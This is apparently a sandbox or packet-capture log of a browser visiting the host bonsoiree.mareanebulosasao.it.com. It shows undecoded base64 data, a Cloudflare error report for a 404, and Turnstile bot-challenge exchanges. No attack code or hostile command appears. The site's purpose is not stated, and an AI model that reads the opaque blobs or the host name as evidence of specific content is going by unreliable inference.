2025-03-18 12:42:30 UTC	1369	IN	Data Raw: 78 53 51 55 4d 55 55 69 5a 49 57 45 5a 52 55 69 63 62 4f 30 30 64 4c 46 34 63 58 6b 59 79 51 46 4e 5a 57 46 56 6b 58 69 31 76 53 30 42 6b 4c 6a 39 4d 61 6d 78 71 5a 6c 78 71 57 6d 6f 37 54 58 78 35 67 45 39 64 59 48 35 48 58 48 61 43 64 59 35 36 66 58 4a 73 66 6f 64 32 54 33 57 52 5a 35 43 58 6d 35 78 61 64 48 71 53 67 33 43 41 67 5a 69 47 63 36 6d 67 68 61 31 6e 70 49 74 72 72 71 2b 79 6f 33 43 44 62 71 65 4a 67 35 56 32 66 58 53 73 6f 63 48 43 75 6f 36 55 6e 72 66 45 79 70 75 54 6f 61 6d 61 69 61 69 64 72 4b 32 7a 6a 5a 62 45 6c 4e 6e 61 30 71 61 73 74 74 44 63 34 71 2b 32 76 62 4b 79 70 72 33 48 79 4b 72 68 31 62 6d 2f 33 4b 72 49 78 37 50 4b 34 2f 69 78 35 66 76 63 74 4c 33 65 39 2f 6e 4e 37 75 4d 45 37 2b 37 42 76 38 6e 55 78 77 6e 68 41 65 37 38 32 Data Ascii: xSQUMUUiZIWEZRUicbO00dLF4cXkYyQFNZWFVkXi1vS0BkLj9MamxqZlxqWmo7TXx5gE9dYH5HXHaCdY56fXJsfod2T3WRZ5CXm5xadHqSg3CAgZiGc6mgha1npItrrq+yo3CDbqeJg5V2fXSsocHCuo6UnrfEypuToamaiaidrK2zjZbElNna0qasttDc4q+2vbKypr3HyKrh1bm/3KrIx7PK4/ix5fvctL3e9/nN7uME7+7Bv8nUxwnhAe782
2025-03-18 12:42:30 UTC	1369	IN	Data Raw: 4c 56 43 55 36 55 54 74 61 53 52 6c 44 56 68 59 66 4d 7a 4a 47 53 6b 6f 38 61 79 63 74 57 6d 45 76 5a 56 42 68 4e 47 56 71 62 53 74 31 53 44 59 36 64 45 78 66 67 54 74 51 59 34 57 47 56 47 65 4a 50 46 68 72 6a 55 74 63 62 35 4a 67 59 48 4f 57 59 47 52 33 6d 6e 42 6f 65 35 35 78 63 46 61 65 6d 6f 36 56 5a 49 65 61 6e 49 57 4a 6d 4a 56 73 66 36 36 6b 73 6f 79 6d 6e 48 42 2b 6a 47 2b 6f 71 4b 5a 33 6c 61 31 2f 6d 4a 4f 77 67 37 47 46 70 62 4b 59 6d 70 58 42 6f 70 2b 6a 6f 4b 4f 5a 30 4c 36 6e 69 35 2b 52 77 70 6d 75 6d 4c 32 74 71 38 6a 53 33 64 76 41 6e 64 48 6a 31 4b 4c 6a 78 36 71 6d 32 62 37 75 30 50 4c 54 33 2b 71 6e 33 76 54 4d 39 66 69 36 79 64 50 4e 76 62 2f 69 2b 63 44 2b 35 66 58 56 31 77 6a 67 2b 64 73 4c 35 67 45 4e 45 76 50 67 37 67 76 4f 33 2b Data Ascii: LVCU6UTtaSRlDVhYfMzJGSko8ayctWmEvZVBhNGVqbSt1SDY6dExfgTtQY4WGVGeJPFhrjUtcb5JgYHOWYGR3mnBoe55xcFaemo6VZIeanIWJmJVsf66ksoymnHB+jG+oqKZ3la1/mJOwg7GFpbKYmpXBop+joKOZ0L6ni5+RwpmumL2tq8jS3dvAndHj1KLjx6qm2b7u0PLT3+qn3vTM9fi6ydPNvb/i+cD+5fXV1wjg+dsL5gENEvPg7gvO3+
2025-03-18 12:42:30 UTC	1369	IN	Data Raw: 50 46 4e 5a 4f 45 42 6d 5a 56 4a 49 58 55 4d 6f 61 31 31 61 4c 32 68 71 50 46 46 75 4c 55 38 7a 56 57 5a 57 52 48 78 61 55 33 5a 63 50 56 67 39 54 57 4e 7a 58 6c 39 2b 56 59 52 59 54 59 5a 6d 69 58 70 6f 61 6f 6d 57 6c 6f 4a 58 6a 31 4e 7a 6a 6e 35 59 6d 70 74 75 63 34 32 45 6f 6f 53 59 70 71 4e 79 69 71 32 6b 71 57 75 62 62 61 36 47 6e 49 57 6f 62 34 57 53 70 5a 4f 4c 75 4a 4b 71 6c 34 31 36 6a 5a 32 68 75 5a 57 6b 70 4d 6d 67 6e 4d 79 46 71 5a 2b 6e 75 37 79 66 71 4b 2f 4a 6f 37 43 75 72 70 65 59 6b 4c 58 50 77 4e 6d 67 31 5a 2f 64 73 65 61 2f 74 37 71 71 75 39 2b 2b 78 63 50 53 73 65 75 30 30 4b 32 79 7a 4c 44 4b 39 2b 66 33 36 50 7a 72 2f 72 76 38 78 41 6a 34 43 75 44 7a 42 74 2f 68 43 65 2f 6d 79 41 33 51 38 50 41 46 7a 67 6e 6c 39 74 6a 79 45 4e 33 Data Ascii: PFNZOEBmZVJIXUMoa11aL2hqPFFuLU8zVWZWRHxaU3ZcPVg9TWNzXl9+VYRYTYZmiXpoaomWloJXj1Nzjn5Ymptuc42EooSYpqNyiq2kqWubba6GnIWob4WSpZOLuJKql416jZ2huZWkpMmgnMyFqZ+nu7yfqK/Jo7CurpeYkLXPwNmg1Z/dsea/t7qqu9++xcPSseu00K2yzLDK9+f36Pzr/rv8xAj4CuDzBt/hCe/myA3Q8PAFzgnl9tjyEN3
2025-03-18 12:42:30 UTC	1369	IN	Data Raw: 6a 67 67 58 7a 4a 67 5a 6c 67 73 50 32 52 6e 54 45 68 48 58 58 42 34 52 7a 52 31 66 46 52 75 65 33 5a 71 62 6e 78 42 56 31 39 6e 57 33 46 2b 58 34 68 71 66 34 42 75 5a 30 4e 38 6b 6e 4f 4b 54 35 68 59 55 34 32 57 62 48 56 35 6e 35 31 30 66 31 36 67 58 6e 64 64 6c 57 4f 6f 65 6f 71 43 70 58 2b 72 67 34 53 6b 71 72 47 55 64 36 32 68 68 72 69 51 69 6f 75 54 6a 5a 65 4e 74 48 2b 39 6f 6f 65 58 6f 35 2b 62 75 4a 75 6b 6f 39 47 6e 6f 49 2b 4d 76 35 44 43 32 64 4b 5a 74 73 75 6d 71 4f 43 76 73 71 76 63 30 73 2f 66 76 75 65 6e 78 74 50 59 32 2b 48 4c 75 4e 6e 65 38 61 37 76 35 75 44 6e 79 62 61 31 39 66 33 32 2f 50 6d 2b 75 4f 54 52 30 4f 4c 43 2b 50 4c 7a 2f 41 37 57 34 65 2f 6a 44 2f 48 71 37 73 73 50 42 78 54 55 44 52 63 57 7a 2b 62 58 48 74 33 32 46 2f 50 66 Data Ascii: jggXzJgZlgsP2RnTEhHXXB4RzR1fFRue3ZqbnxBV19nW3F+X4hqf4BuZ0N8knOKT5hYU42WbHV5n510f16gXnddlWOoeoqCpX+rg4SkqrGUd62hhriQiouTjZeNtH+9ooeXo5+buJuko9GnoI+Mv5DC2dKZtsumqOCvsqvc0s/fvuenxtPY2+HLuNne8a7v5uDnyba19f32/Pm+uOTR0OLC+PLz/A7W4e/jD/Hq7ssPBxTUDRcWz+bXHt32F/Pf
2025-03-18 12:42:30 UTC	1369	IN	Data Raw: 64 44 4f 55 56 73 53 33 49 6d 64 6e 42 79 53 57 74 35 64 32 59 32 50 6d 64 61 57 6d 77 35 51 49 5a 54 63 33 56 79 59 55 56 34 61 30 56 2b 57 57 68 6b 55 70 42 6a 6b 6c 56 34 6a 6c 70 52 69 57 57 4a 66 31 6d 54 6b 6c 71 61 6e 58 79 58 5a 4a 4a 6a 6c 71 4b 48 62 61 32 4d 6a 62 43 50 62 34 75 4e 70 36 2b 55 63 61 61 4d 64 4b 31 36 6f 48 7a 44 6c 33 2b 75 75 36 54 4a 74 49 53 68 79 63 79 6b 6d 35 79 6b 70 72 33 47 6f 39 4b 67 32 61 32 70 72 39 79 32 75 35 79 71 76 72 71 73 32 36 4f 78 30 2b 69 36 35 72 66 65 7a 65 62 73 77 75 6d 6b 38 4f 32 31 36 4e 50 4e 31 4f 72 4d 39 2f 6e 56 30 38 7a 38 38 41 44 45 37 38 62 61 75 67 4c 59 78 66 7a 6e 78 77 33 4c 33 50 44 4a 42 78 62 79 42 51 4d 51 44 73 30 4a 44 64 66 32 49 42 59 42 42 66 30 52 35 69 55 6a 42 64 7a 34 46 Data Ascii: dDOUVsS3ImdnBySWt5d2Y2PmdaWmw5QIZTc3VyYUV4a0V+WWhkUpBjklV4jlpRiWWJf1mTklqanXyXZJJjlqKHba2MjbCPb4uNp6+UcaaMdK16oHzDl3+uu6TJtIShycykm5ykpr3Go9Kg2a2pr9y2u5yqvrqs26Ox0+i65rfezebswumk8O216NPN1OrM9/nV08z88ADE78baugLYxfznxw3L3PDJBxbyBQMQDs0JDdf2IBYBBf0R5iUjBdz4F
2025-03-18 12:42:30 UTC	1369	IN	Data Raw: 4e 62 46 4e 45 64 45 46 44 4c 57 59 33 64 30 67 2f 51 55 42 34 50 33 52 31 62 32 68 6f 64 45 69 4a 61 33 39 72 63 49 56 6e 68 45 75 51 61 56 46 56 55 35 46 62 69 35 4f 4b 62 33 69 41 57 32 32 54 64 5a 70 33 67 35 74 6a 71 49 53 73 61 61 35 2f 73 4c 43 73 68 71 52 31 74 6f 53 54 73 4c 6c 30 73 61 61 73 6d 34 79 4b 76 35 4f 65 76 4d 53 59 75 5a 62 48 6c 38 79 71 77 36 43 39 73 37 33 42 6a 74 53 74 6f 4c 47 52 74 4b 53 31 6e 62 65 7a 34 4b 32 6a 72 39 53 78 74 64 37 71 6e 4f 62 6e 31 75 61 6e 70 38 54 51 73 36 76 49 38 38 32 33 7a 64 6e 50 2b 74 58 65 37 76 30 43 77 73 7a 61 39 73 58 46 34 4e 58 58 30 2b 76 2b 43 74 66 70 37 39 48 4c 37 51 6a 6b 35 65 6a 73 32 52 6e 79 45 4f 76 72 2f 4f 37 36 34 51 44 7a 4a 76 33 2b 34 66 4c 70 42 43 38 70 36 69 41 67 44 65 Data Ascii: NbFNEdEFDLWY3d0g/QUB4P3R1b2hodEiJa39rcIVnhEuQaVFVU5Fbi5OKb3iAW22TdZp3g5tjqISsaa5/sLCshqR1toSTsLl0saasm4yKv5OevMSYuZbHl8yqw6C9s73BjtStoLGRtKS1nbez4K2jr9Sxtd7qnObn1uanp8TQs6vI8823zdnP+tXe7v0Cwsza9sXF4NXX0+v+Ctfp79HL7Qjk5ejs2RnyEOvr/O764QDzJv3+4fLpBC8p6iAgDe
2025-03-18 12:42:30 UTC	1369	IN	Data Raw: 51 7a 4a 36 56 54 64 66 55 6e 70 59 5a 55 42 56 62 30 69 4b 66 6b 74 30 69 47 65 44 66 45 70 4a 5a 6b 75 52 61 56 46 56 65 59 5a 72 68 33 32 47 62 35 68 77 57 32 79 51 6a 5a 6c 68 5a 71 53 49 6f 70 65 46 66 4b 4e 2b 67 32 35 2b 71 35 36 30 69 58 65 6e 70 35 75 73 6a 4c 46 34 72 36 43 79 6d 4c 61 42 6d 4b 69 37 69 49 65 44 76 4b 69 74 6d 4c 48 4d 77 4c 54 53 31 63 33 57 73 4a 43 56 6c 62 6a 54 7a 64 71 32 71 74 7a 6a 78 4d 47 77 6e 38 57 2b 31 72 33 59 79 4b 44 65 37 39 43 71 75 36 72 79 7a 61 2f 58 79 76 4c 51 33 62 6a 4e 39 73 41 44 39 73 50 73 41 64 2f 37 39 4d 4c 45 76 63 4d 4b 34 63 6e 4f 34 65 50 4c 41 2f 51 4c 44 77 54 4c 32 50 67 56 2f 50 72 6f 47 42 45 54 49 50 7a 69 42 67 50 79 4a 2f 72 36 35 51 30 61 36 69 41 52 46 4f 34 70 42 75 38 52 4b 52 73 Data Ascii: QzJ6VTdfUnpYZUBVb0iKfkt0iGeDfEpJZkuRaVFVeYZrh32Gb5hwW2yQjZlhZqSIopeFfKN+g25+q560iXenp5usjLF4r6CymLaBmKi7iIeDvKitmLHMwLTS1c3WsJCVlbjTzdq2qtzjxMGwn8W+1r3YyKDe79Cqu6ryza/XyvLQ3bjN9sAD9sPsAd/79MLEvcMK4cnO4ePLA/QLDwTL2PgV/ProGBETIPziBgPyJ/r65Q0a6iARFO4pBu8RKRs
2025-03-18 12:42:30 UTC	1369	IN	Data Raw: 45 39 57 65 6e 46 2f 57 55 4e 79 65 30 52 31 53 6d 4a 59 66 59 68 74 68 45 5a 4c 61 31 57 47 61 4a 68 62 68 33 35 6e 58 56 31 59 59 70 4a 36 58 34 52 67 58 36 52 2b 64 4a 56 73 5a 6f 6d 59 66 57 31 78 69 72 43 4b 66 36 61 6f 6d 5a 53 74 76 61 61 64 73 4a 69 37 67 58 61 33 66 5a 79 78 71 4a 6d 34 71 4a 69 61 79 61 57 6a 6d 70 48 4f 30 62 36 58 32 4b 37 62 79 4b 62 46 31 74 62 62 73 36 36 79 7a 71 36 68 74 37 62 6e 78 61 69 32 75 65 72 6e 36 61 36 6b 37 36 33 4f 7a 71 2f 4f 78 4d 50 30 37 72 58 77 38 63 37 62 32 67 4d 43 38 64 72 35 41 2b 4c 54 79 67 67 4b 78 65 37 4a 79 77 48 73 34 52 63 41 37 41 49 5a 35 39 50 7a 48 75 67 54 37 39 6a 35 38 4e 37 67 39 76 51 49 4b 67 6e 34 44 43 34 4a 2f 42 41 79 48 77 45 55 4e 69 73 46 47 44 6f 72 43 52 77 2b 4f 77 30 67 Data Ascii: E9WenF/WUNye0R1SmJYfYhthEZLa1WGaJhbh35nXV1YYpJ6X4RgX6R+dJVsZomYfW1xirCKf6aomZStvaadsJi7gXa3fZyxqJm4qJiayaWjmpHO0b6X2K7byKbF1tbbs66yzq6ht7bnxai2uern6a6k763Ozq/OxMP07rXw8c7b2gMC8dr5A+LTyggKxe7JywHs4RcA7AIZ59PzHugT79j58N7g9vQIKgn4DC4J/BAyHwEUNisFGDorCRw+Ow0g

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:42:30 UTC	592	OUT	OPTIONS /report/v4?s=AN11m%2B5laoqJ4pYgdfIpJHJ6XOmX3Npcn%2BnPDHwPp6%2FMcGqJCONVDx3HmCzDmh5gLlww%2BmB%2FaQ35yN1zSIO5gIZsrRAKctn%2FE7Pnvhe4yxexFgl0KpNteYNiGVdTNeEHve6xKPasa1r1eHwubqWJG%2BQ7N7I%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://bonsoiree.mareanebulosasao.it.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 12:42:30 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Tue, 18 Mar 2025 12:42:30 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:42:31 UTC	567	OUT	POST /report/v4?s=AN11m%2B5laoqJ4pYgdfIpJHJ6XOmX3Npcn%2BnPDHwPp6%2FMcGqJCONVDx3HmCzDmh5gLlww%2BmB%2FaQ35yN1zSIO5gIZsrRAKctn%2FE7Pnvhe4yxexFgl0KpNteYNiGVdTNeEHve6xKPasa1r1eHwubqWJG%2BQ7N7I%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 460 Content-Type: application/reports+json Origin: https://bonsoiree.mareanebulosasao.it.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 12:42:31 UTC	460	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 38 33 30 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 62 6f 6e 73 6f 69 72 65 65 2e 6d 61 72 65 61 6e 65 62 75 6c 6f 73 61 73 61 6f 2e 69 74 2e 63 6f 6d 2f 49 46 45 58 79 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 36 34 2e 31 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 Data Ascii: [{"age":0,"body":{"elapsed_time":830,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://bonsoiree.mareanebulosasao.it.com/IFEXy/","sampling_fraction":1.0,"server_ip":"104.21.64.1","status_code":404,"type":"http.error"},"type":"
2025-03-18 12:42:31 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Tue, 18 Mar 2025 12:42:31 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:42:31 UTC	639	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1094466287:1742301107:FItDK9GrEtQnCOsTrwhQfEUVRnlNXFphWiOKv-HlkxM/9224cf676904c3fa/IYyC3Jp0Ap6ZHGaRAFIE09WTDYfQVmaNpCGoY0srmtI-1742301748-1.1.1.1-vxC78hRykL1vzkcOw7O2MeCXc1VleUrAB5L71SMXt.3aq3DAV5Bv9_PbQJORVFa7 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 12:42:31 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Tue, 18 Mar 2025 12:42:31 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: J8w6slS7qDq+/eN94+6BNSTf4wfT46wdr1kkSLYANS0QAmnXtLtrVrZZS6DP1yeWB/QQw+XrdCgTksh0IhoHKA==$YlDmAkDFBHnIK69KnhemeA== Server: cloudflare CF-RAY: 9224cf7b8c93c3f3-EWR alt-svc: h3=":443"; ma=86400
2025-03-18 12:42:31 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 38 30 7d Data Ascii: {"err":100280}

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:42:32 UTC	856	OUT	GET /cdn-cgi/challenge-platform/h/g/pat/9224cf676904c3fa/1742301750157/e1f2ceee5e0e2842f03777dac4e51e94a39a06ce6cb8694d33c3e5851ee19efc/B7-oSowbJRNI7hX HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/tcxwy/0x4AAAAAAA-tr_eUy_ttfipm/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 12:42:32 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Tue, 18 Mar 2025 12:42:32 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2025-03-18 12:42:32 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 34 66 4c 4f 37 6c 34 4f 4b 45 4c 77 4e 33 66 61 78 4f 55 65 6c 4b 4f 61 42 73 35 73 75 47 6c 4e 4d 38 50 6c 68 52 37 68 6e 76 77 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20g4fLO7l4OKELwN3faxOUelKOaBs5suGlNM8PlhR7hnvwAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2025-03-18 12:42:32 UTC	1	IN	Data Raw: 4a Data Ascii: J

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:42:33 UTC	827	OUT	GET /cdn-cgi/challenge-platform/h/g/d/9224cf676904c3fa/1742301750158/4VIwLB1MLbCTSvd HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/tcxwy/0x4AAAAAAA-tr_eUy_ttfipm/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 12:42:33 UTC	200	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 12:42:33 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 9224cf85abd732fa-EWR alt-svc: h3=":443"; ma=86400
2025-03-18 12:42:33 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 3f 00 00 00 4a 08 02 00 00 00 83 d2 1b fa 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR?JIDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:42:34 UTC	1192	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1094466287:1742301107:FItDK9GrEtQnCOsTrwhQfEUVRnlNXFphWiOKv-HlkxM/9224cf676904c3fa/IYyC3Jp0Ap6ZHGaRAFIE09WTDYfQVmaNpCGoY0srmtI-1742301748-1.1.1.1-vxC78hRykL1vzkcOw7O2MeCXc1VleUrAB5L71SMXt.3aq3DAV5Bv9_PbQJORVFa7 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 39066 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 cf-chl: IYyC3Jp0Ap6ZHGaRAFIE09WTDYfQVmaNpCGoY0srmtI-1742301748-1.1.1.1-vxC78hRykL1vzkcOw7O2MeCXc1VleUrAB5L71SMXt.3aq3DAV5Bv9_PbQJORVFa7 cf-chl-ra: 0 sec-ch-ua-mobile: ?0 Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/tcxwy/0x4AAAAAAA-tr_eUy_ttfipm/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 12:42:34 UTC	16384	OUT	Data Raw: 6d 44 4a 6c 39 76 63 4e 64 76 55 47 4a 69 65 6a 45 63 46 37 4a 76 2b 63 32 6a 6f 4b 6c 67 6c 30 4a 6a 46 76 6a 66 71 6c 6a 64 6a 71 6a 56 6c 48 55 53 4f 6a 68 76 6a 53 57 6c 63 69 6a 33 6c 52 4c 59 44 31 65 30 6a 30 36 6a 43 64 59 55 6c 55 4a 6c 30 44 24 69 6a 6d 5a 4d 2b 6a 62 6c 63 4e 6a 30 6c 53 30 6a 45 61 61 6c 6a 6e 6a 37 78 4e 72 6b 7a 69 57 76 45 6a 63 71 6c 63 6e 53 6c 6a 31 24 6a 4f 2d 33 69 64 6d 39 79 33 50 55 5a 30 6d 6a 6c 4f 63 32 42 42 30 4a 6c 6a 4f 62 31 62 68 4c 73 75 6a 76 4f 76 67 71 36 70 43 6a 6a 46 71 63 79 6a 7a 51 4e 79 4b 48 79 4a 6a 76 34 75 6a 53 6e 46 79 64 4a 6c 57 6a 61 75 7a 64 71 6a 69 4c 34 54 4b 6a 6a 75 63 78 6a 53 68 51 48 24 79 32 42 68 6a 63 73 6b 72 51 30 6a 4a 55 6a 6b 72 55 6a 70 53 55 6a 63 6a 6a 74 31 4c 44 78 Data Ascii: mDJl9vcNdvUGJiejEcF7Jv+c2joKlgl0JjFvjfqljdjqjVlHUSOjhvjSWlcij3lRLYD1e0j06jCdYUlUJl0D$ijmZM+jblcNj0lS0jEaaljnj7xNrkziWvEjcqlcnSlj1$jO-3idm9y3PUZ0mjlOc2BB0JljOb1bhLsujvOvgq6pCjjFqcyjzQNyKHyJjv4ujSnFydJlWjauzdqjiL4TKjjucxjShQH$y2BhjcskrQ0jJUjkrUjpSUjcjjt1LDx
2025-03-18 12:42:34 UTC	16384	OUT	Data Raw: 53 69 78 6c 67 49 65 4e 46 57 43 6c 5a 71 30 4f 6c 4c 4f 76 30 76 4a 64 73 4a 76 61 75 57 4a 58 38 4f 52 78 42 24 37 47 70 53 30 75 57 7a 45 73 6b 5a 65 6d 6d 7a 74 76 47 38 6c 4a 6b 35 24 71 42 36 43 6c 4e 6a 72 66 4a 30 6a 34 58 30 31 61 70 55 73 6a 7a 4e 55 4e 6a 58 4d 71 6e 6a 74 6a 5a 24 39 32 44 32 73 7a 69 30 78 53 35 31 6a 6c 4a 36 50 4b 69 35 4e 69 63 48 38 57 35 4e 76 33 4a 44 34 48 79 53 2b 36 30 47 55 48 65 4a 76 73 74 47 6c 48 4a 53 73 61 77 38 5a 4a 53 70 78 2b 6c 48 4f 4b 30 6a 58 6c 32 5a 4a 51 51 69 69 4b 4e 63 71 71 47 7a 45 39 56 6d 48 35 2d 47 59 63 75 6e 76 36 6a 2b 63 43 55 4f 57 4f 78 74 6e 34 50 65 6e 44 32 4f 50 69 4a 47 74 53 35 4c 75 67 6e 44 32 56 42 6d 46 6c 68 63 55 57 57 73 63 69 24 50 6c 4d 54 6a 4d 6a 43 6c 72 45 76 6e 6a Data Ascii: SixlgIeNFWClZq0OlLOv0vJdsJvauWJX8ORxB$7GpS0uWzEskZemmztvG8lJk5$qB6ClNjrfJ0j4X01apUsjzNUNjXMqnjtjZ$92D2szi0xS51jlJ6PKi5NicH8W5Nv3JD4HyS+60GUHeJvstGlHJSsaw8ZJSpx+lHOK0jXl2ZJQQiiKNcqqGzE9VmH5-GYcunv6j+cCUOWOxtn4PenD2OPiJGtS5LugnD2VBmFlhcUWWsci$PlMTjMjClrEvnj
